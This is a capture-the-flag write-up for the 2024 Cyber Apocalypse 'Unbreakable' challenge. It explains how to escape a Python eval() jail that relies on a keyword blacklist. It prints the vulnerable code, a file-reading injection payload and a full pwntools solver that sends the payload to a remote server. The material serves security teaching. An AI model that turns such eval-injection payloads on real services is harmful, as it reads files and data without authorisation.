2024 Cyber Apocalypse: Unbreakable

Challenge Information

AttributeDetails
Event2024 Cyber Apocalypse
CategoryMiscellaneous
ChallengeUnbreakable
DifficultyEasy

Summary

Unbreakable is a challenge that exploits Python’s eval() function while bypassing an extensive blacklist of characters and functions. The program restricts user input using a blacklist but still uses eval() to execute code, creating a vulnerability. Participants must creatively chain allowed functions to read flag.txt without triggering the blacklist.


Analysis

The vulnerable code structure:

blacklist = [ ';', '"', 'os', '_', '\\', '`',
' ', '-', '!', '[', ']', '*', 'import',
'eval', 'banner', 'echo', 'cat', '%',
'&', '>', '<', '+', '1', '2', '3', '4',
'5', '6', '7', '8', '9', '0', 'b', 's',
'lower', 'upper', 'system', '}', '{' ]
while True:
ans = input('Break me, shake me!\n\n$ ').strip()
if any(char in ans for char in blacklist):
print(f'\n{banner1}\nNaughty naughty..\n')
else:
try:
eval(ans + '()')
print('WHAT WAS THAT?!\n')
except:
print(f"\n{banner2}\nI'm UNBREAKABLE!\n")

Key Observations:

  1. The blacklist includes common function names like ‘os’, ‘import’, ‘system’, ‘cat’, ‘echo’
  2. However, open(), print(), and read() are NOT blacklisted
  3. The program calls eval(ans + '()'), meaning the input must be callable
  4. File I/O functions are available and can be chained

Solution

Step 1: Identify Available Functions

The blacklist does NOT contain:

  • open - to open files
  • read - to read file contents
  • print - to display output

Step 2: Craft the Payload

Build a payload that chains these functions:

print(open('flag.txt','r').read())

This payload:

  1. Opens flag.txt in read mode
  2. Reads the file contents
  3. Prints the result

All characters used are allowed by the blacklist (no spaces, numbers, or special characters that are blocked).

Complete Solver Script

#!/usr/bin/python3
from pwn import *
import warnings
import os
warnings.filterwarnings('ignore')
context.log_level = 'critical'
fname = './main.py'
LOCAL = False
os.system('clear')
if LOCAL:
print('Running solver locally..\n')
r = process(['python3', fname])
else:
IP = str(sys.argv[1]) if len(sys.argv) >= 2 else '0.0.0.0'
PORT = int(sys.argv[2]) if len(sys.argv) >= 3 else 1337
r = remote(IP, PORT)
print(f'Running solver remotely at {IP} {PORT}\n')
r.sendline("print(open('flag.txt','r').read())#")
print(f'Flag --> {r.recvline_contains(b"HTB").strip().decode()[2:]}\n')

Step 3: Send Payload and Receive Flag

The solver:

  1. Connects to the challenge server
  2. Sends the crafted payload
  3. Captures the output which contains the flag
  4. Parses and displays the flag

Key Takeaways

  • Blacklist-based security is often incomplete and can be bypassed
  • Understanding what functions ARE available is as important as knowing what’s blocked
  • Function chaining allows complex operations with minimal characters
  • The # character creates a comment to handle the forced () appended by eval
  • Python’s built-in functions like open() and read() are powerful without being explicitly dangerous

Flag: HTB{3v4l_0r_3vuln??}